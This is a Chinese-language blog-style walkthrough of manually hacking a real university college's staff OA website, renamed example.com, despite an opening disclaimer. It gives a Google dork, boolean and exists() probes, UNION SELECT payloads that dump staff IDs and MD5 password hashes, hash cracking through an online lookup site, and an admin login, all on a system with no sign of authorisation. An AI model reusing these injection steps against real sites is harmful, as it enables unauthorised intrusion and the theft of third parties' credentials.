声明:本文的目的是技术交流,请勿用于非常用途!一切后果本人概不负责。
/**********/
前言/**********/
脚本小子(scriptkiddie)是一个贬义词,用来描述:以“ 黑客”自居并沾沾自喜的初学者。脚本小子不像真正的黑客那样发现系统 漏洞,他们通常使用别人开发的程序来恶意破坏
他人系统。通常的刻板印象为一位没有专科经验的少年,破坏无辜网站企图使得他的朋友感到惊讶。因而称之为脚本小子。他们常常从某些网站上复制脚本代码,然后到处粘贴,却并不一定明白他们的方法与原理。他们钦慕于黑客的能力与探索精神,但与黑客所不同的是,脚本小子通常只是对计算机系统有基础了解与爱好,但并不注重程序语言、算法、和数据结构的研究,虽然这些对于真正的黑客来说是必须具备的素质。
--------------------------------------------------------------
今天我要不借助任何工具优雅的黑掉一个网站( 出于隐私和法律考虑,暂且把这个站叫做example.com)。
/**********/
准备工作
/**********/
google hack: inurl: id= site:example.com
找到一个站:http://example.com/school/postgraduate/tutor_detail.php id=1001

好,试一下:http://example.com/school/postgraduate/tutor_detail.php id=1001'
发现返回错误页面:

http://example.com/school/postgraduate/tutor_detail.php id=1001 and 1=1,返回正确
http://example.com/school/postgraduate/tutor_detail.php id=1001 and 1=2,返回错误
-->说明存在数字型SQL注射漏洞(如果你不知道为什么,那你就是script kiddie -_-)。
/**********/
开始Hack
/**********/
1)猜解表名
这个需要一些社会工程学(哈哈~)
首先,这是一个学校的某个学院网站,电子工程学院(ee),其次,这个系统是一个OA系统,再次,现在这个错误页面是教师(teachers)信息。。。。最后,经过很多次(非常多次)的实验,发现下面这条sql语句能够返回正确的查询结果:
and exists (select * from eeoa_teachers)
【注】:exists()函数用于检查子查询是否至少会返回一行数据。实际上不返回任何数据,而是返回True或者False。
实际执行的sql语句可能是这样:
select * from someTable and exists(select * from eeoa_teachers)
好,这就说明存在eeoa_teachers这个表。
2)用UNION猜解当前表列数
方法一:
union select 1,2,3,4
方法二:
order by 4
(根据第4列排序,如果第4列存在,那么返回正确,如果order by 5时返回错误,说明这个表有4列。)
执行成功的URI:
example.com/school/postgraduate/tutor.php id=1001%20union%20select%201,2,3,4,5,6,7,8,9,10

最后得出当前表有10列。这有什么用呢?
--> 一会要利用这个信息执行union查询,union查询要求前后列数相等。3) 破解列名:
猜username不对,那会是什么呢?最后猜出的是jgh.为什么是jgh呢?
--因为登陆页面提示输入“教工号”,以Chinese程序员的水平来说,这个字段很有可能就是jhg啦(参考12306的url。。。)
同理,密码也不是password,而是mm!!!哈哈哈
exists(select jgh, mm from eeoa_teachers)
返回还是正确。
【注】:常用的hack列名可以google之。
4)破解教工号:
因为网站设计者很不友好,提示输入“10位教工号”,哈哈,那就好办了,google一下这个学校的教工号,就找到规律了:年份(2014)+学院代码(111)+个人编号(XXX)
只有10*10*10 == 1000种可能了。可不借助工具还是比较多的。那么,继续google hack-->直接去找这个学院教师的通讯录,居然找到了:eaxmple.com/eeoa/contact.php
OK,得到了近百位老师的教工号,那么就无需破解了。
5)破解密码:
要破解密码,首先要拿到密码。来吧!用union查询可以办得到。
union select 1,2,3,4,5,6,7,8,jgh,mm from eeoa_teachers
返回页面是这样的():
OK,我们得到了md5加密过的密码,去www.md5online.comdecrypt一下,得到了几个弱口令。
---------------------------------------------------------
(在这里提醒下各位:最好不要用一些在线查md5加密的网站去查自己密码的MD5,因为它会把你的查询结果存入彩虹表里!比如说,aE4v2z这样一个密码,我自己用代码MD5加密,结果是385ad31a4c10a4da639184b9e5d4de36,然后上网上查是查不到的,可是如果我先查aE4v2z的MD5,再去查385ad31a4c10a4da639184b9e5d4de36,就会得到aE4v2z,是不是很危险?)
--------------------------------------------------------
6)登陆后台:
7)最后,就是想告诉自己:学好原理,别再做script kiddie啦!